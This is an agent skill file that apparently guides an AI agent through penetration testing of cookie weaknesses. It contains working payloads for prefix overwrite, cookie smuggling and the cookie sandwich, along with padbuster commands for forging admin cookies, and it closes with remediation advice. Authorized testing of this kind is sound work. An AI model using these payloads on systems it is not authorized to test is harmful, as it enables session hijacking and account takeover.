exploiting-cookie-based-vulnerabilities
$
npx mdskill add xalgord/xalgorix/exploiting-cookie-based-vulnerabilities- During authorized assessments of session management, authentication, and CSRF cookie defenses - When the app sets custom cookies that may encode sensitive data (user IDs, roles, encrypted blobs) - When you control or find XSS on a subdomain (cookie tossing / fixation / prefix overwrite) - When testing front-end/back-end parser discrepancies behind proxies, WAFs, or legacy Java/Python stacks - When a session cookie looks Base64/hex-encoded and might be decodable, forgeable, or crypto-weak
SKILL.md
.github/skills/exploiting-cookie-based-vulnerabilitiesView on GitHub ↗
---
name: exploiting-cookie-based-vulnerabilities
description: Testing and exploiting cookie-related weaknesses including attribute misconfiguration (SameSite, HttpOnly,
Secure, Domain, Path), cookie prefix bypasses (__Host-/__Secure-), parser-discrepancy attacks (cookie smuggling,
sandwich, $Version legacy parsing), cookie tossing/fixation, and weak/predictable or crypto-flawed (padding-oracle,
ECB, CBC-MAC) session cookies. Activates when assessing session management, CSRF cookie defenses, or any flow that
trusts cookie values.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- cookie-security
- session-management
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Exploiting Cookie-Based Vulnerabilities
## When to Use
- During authorized assessments of session management, authentication, and CSRF cookie defenses
- When the app sets custom cookies that may encode sensitive data (user IDs, roles, encrypted blobs)
- When you control or find XSS on a subdomain (cookie tossing / fixation / prefix overwrite)
- When testing front-end/back-end parser discrepancies behind proxies, WAFs, or legacy Java/Python stacks
- When a session cookie looks Base64/hex-encoded and might be decodable, forgeable, or crypto-weak
## Prerequisites
- **Authorization**: Engagement scope covering session/auth testing with test accounts (attacker + victim)
- **Burp Suite**: Repeater for crafting raw `Cookie` headers and the CookiePrefixBypass.bambda custom action
- **padbuster**: For padding-oracle decryption/forgery of CBC-encrypted cookies
- **Browser devtools / two profiles**: To set cookies via `document.cookie` and test cross-context binding
- **CyberChef**: For decoding/encoding Base64, hex, and inspecting cookie structure
## Critical: Variants Most Often Missed
Scanners flag "missing HttpOnly/Secure" and stop. The high-impact bugs are
parser discrepancies and crypto weaknesses. Test every variant below.
```text
# 1. __Host-/__Secure- prefix overwrite from a subdomain (parser tricks)
# Prepend Unicode whitespace the BROWSER keeps but the BACKEND trims:
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`
# Trimmed code points: U+0085 U+00A0 U+1680 U+2000-200A U+2028 U+2029 U+202F U+205F U+3000
# Safari blocks multibyte but allows single-byte U+0085 / U+00A0 -> cross-test browsers.
# 2. Legacy RFC2109/2965 parsing via $Version=1 (Tomcat/Jetty/Undertow)
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`
# 3. Empty-name cookie smuggling (control other cookies)
document.cookie = "=test value;" // header becomes: a=v1; test value; b=v2
document.cookie = "=a=b" // server reads cookie "a"="b"
# 4. Quoted-value cookie smuggling (Java/Python read quotes as one value)
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
# 5. Cookie sandwich to steal HttpOnly (PortSwigger)
document.cookie = `$Version=1;`;
document.cookie = `param1="start`; // victim HttpOnly cookie gets trapped inside
document.cookie = `param2=end";`;
# 6. WAF bypass via cookie splitting / escaped values
Cookie: name=eval('test//
Cookie: comment') // joined: name=eval('test//, comment') => allowed
# "\e\v\a\l\(\'\t\e\s\t\'\)" (escaped) bypasses "eval('test')" blocklist
# 7. Crypto-weak session cookies
# - Base64-decodable -> tamper user/role
# - Padding oracle (CBC) -> padbuster decrypt/forge
# - ECB -> block shuffling username -> admin
# - Static-key cipher (e.g. IDEA+hex) -> forge cookie for any user ID offline
```
### How to CONFIRM a hit (avoid false negatives)
- **Prefix overwrite**: after setting the whitespace/`$Version` variant from a subdomain, the server-side request shows the protected `__Host-`/`__Secure-` cookie carrying YOUR value (duplicate-name "last wins"). Confirm via a reflected value, CSRF-token override, or session swap.
- **Smuggling**: the backend parses a forged cookie (e.g., a spoofed CSRF token) out of a single attacker-controlled cookie string — verify by observing the app accept the injected value.
- **Crypto**: padbuster returns plaintext (oracle confirmed) or a re-encrypted `user=administrator` cookie that the app accepts as that user; for ECB, an "a"*blocksize+"admin" trick yields a working admin cookie.
- **Tossing/fixation**: the victim's authenticated actions occur in the attacker's account context, or a pre-set cookie remains valid after the victim logs in.
- Always confirm with a concrete privileged action (access another user's data, elevated role) rather than just a parsing observation.
## Workflow
### Step 1: Inventory Cookies and Attributes
```bash
# Capture Set-Cookie attributes; note SameSite, HttpOnly, Secure, Domain, Path, prefix
curl -sI https://target.example.com/ | grep -i set-cookie
```
Flag: SameSite=None without need, missing HttpOnly on session, Domain set to parent (subdomain exposure), no `__Host-` prefix on session cookies.
### Step 2: Decode and Tamper Cookie Contents
```bash
# Try Base64/hex decode of opaque cookies
echo 'eyJ1c2VyIjoiYm9iIn0' | base64 -d
# Modify decoded data (user/role/id), re-encode, replay, observe privilege change
```
### Step 3: Test Prefix Overwrite from a Subdomain
```javascript
// From an XSS/controlled subdomain, attempt to set a parent __Host- cookie
document.cookie = `${String.fromCodePoint(0x2000)}__Host-session=attacker; Domain=.example.com; Path=/;`;
// Also try $Version=1 legacy parsing variant
document.cookie = `$Version=1,__Host-session=attacker; Path=/long/; Domain=.example.com;`;
```
Use Burp to send multiple leading code points (U+2000, U+0085, U+00A0) and observe whether the backend normalizes the name to the prefixed form.
### Step 4: Cookie Smuggling / Sandwich / WAF Bypass
```javascript
// Sandwich to capture an HttpOnly cookie reflected in a response
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
document.cookie = `param2=end";`;
```
Send duplicate cookies across multiple `Cookie:` headers to test back-end joining and WAF blocklist bypasses.
### Step 5: Attack Crypto-Weak Session Cookies
```bash
# Padding oracle: decrypt
padbuster http://web.com/index.php <COOKIE> 8 -cookies auth=<COOKIE>
# Padding oracle: forge an admin cookie
padbuster http://web.com/index.php <COOKIE> 8 -cookies thecookie=<COOKIE> -plaintext user=administrator
# ECB: register username = "a"*blocksize + "admin", then splice blocks to mint admin
```
If the cookie is a static-key cipher (e.g., IDEA + hex), encrypt the target user ID offline and set the forged value directly — no credentials needed.
### Step 6: Cookie Tossing & Session Fixation
```javascript
// From a controlled subdomain, set a path/domain-scoped cookie that the parent reads
document.cookie = "session=attacker_value; Domain=.example.com; Path=/";
```
Test whether the app issues a NEW session on login (if not, a fixed/attacker-supplied cookie persists and enables fixation/tossing).
## Key Concepts
| Concept | Description |
|---------|-------------|
| **SameSite** | Strict/Lax/None controls cross-site sending; Chrome defaults unset cookies to Lax |
| **__Host- / __Secure-** | Prefixes enforce Secure, HTTPS origin, no Domain, Path=/ — meant to block subdomain overwrite |
| **Prefix Bypass** | Leading Unicode whitespace or `$Version=1` legacy parsing tricks servers into accepting forged prefixed cookies |
| **Cookie Smuggling** | Empty-name/quoted-value parser quirks let one cookie string inject extra logical cookies |
| **Cookie Sandwich** | `$Version=1` + open/close quotes traps an HttpOnly cookie so it gets reflected |
| **Cookie Tossing** | Setting a cookie from a subdomain that the parent domain consumes |
| **Padding Oracle / ECB / CBC-MAC** | CBC error oracle decrypts/forges; ECB allows block shuffling; CBC-MAC with null IV is forgeable |
| **Static-Key Cipher** | Cookie = encrypt(userID) under a global hard-coded key; forge any user offline |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite + CookiePrefixBypass.bambda** | Craft raw Cookie headers; automate prefix/smuggling probes |
| **padbuster** | Padding-oracle decryption and forgery of CBC-encrypted cookies |
| **CyberChef** | Decode/encode Base64/hex; inspect cookie structure |
| **Browser devtools / two profiles** | Set cookies via `document.cookie`; test cross-context binding |
| **http.cookie / framework parsers** | Reproduce server-side normalization (e.g., Django `str.strip`) to predict bypasses |
## Common Scenarios
### Scenario 1: __Host- Overwrite via Unicode Whitespace
An XSS on `sub.example.com` sets `\u2000__Host-session=...; Domain=.example.com`. The Django backend trims the leading code point, normalizes the name to `__Host-session`, and (last-wins) adopts the attacker's value as the privileged session.
### Scenario 2: Cookie Sandwich Steals HttpOnly Session
A page reflects a benign cookie in its response. Using `$Version=1` plus open/close quoted cookies, the attacker traps the HttpOnly `SESSION` value inside the reflected cookie and exfiltrates it.
### Scenario 3: Static-Key Cookie Forgery
The app issues `COOKIEID` = IDEA-encrypted user ID, hex-encoded, under a hard-coded key. The tester encrypts ID `1` offline, matches the format, and forges an admin cookie — full pre-auth bypass with no credentials.
## Output Format
```
## Cookie Vulnerability Finding
**Vulnerability**: __Host- Cookie Overwrite via Parser Discrepancy
**Severity**: High (CVSS 8.1)
**Location**: Cookie parsing on example.com (Django backend) + sub.example.com XSS
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. From sub.example.com (controlled), run document.cookie with leading U+2000 + __Host-session and Domain=.example.com
2. Browser stores the cookie because the name does not literally start with __Host-
3. example.com backend trims the Unicode whitespace, normalizing to __Host-session
4. Duplicate-name resolution (last wins) adopts the attacker value
5. Confirmed session swap: requests now resolve to the attacker-controlled value, enabling CSRF-token override / fixation
### Evidence
| Item | Value |
|------|-------|
| On-the-wire name | \u2000__Host-session |
| Server-normalized name | __Host-session |
| Resolution | last occurrence wins |
| Impact | session fixation / CSRF token override |
### Recommendation
1. Reject cookie names containing leading/embedded Unicode whitespace; do not trim before prefix checks
2. Disable legacy RFC2109/2965 parsing ($Version) on the server/proxy
3. Enforce HttpOnly + Secure + SameSite and use __Host- consistently for session cookies
4. Issue a fresh session ID on login; bind sessions to additional context to prevent fixation/tossing
5. Replace home-grown cookie crypto with authenticated, server-side sessions (random IDs)
```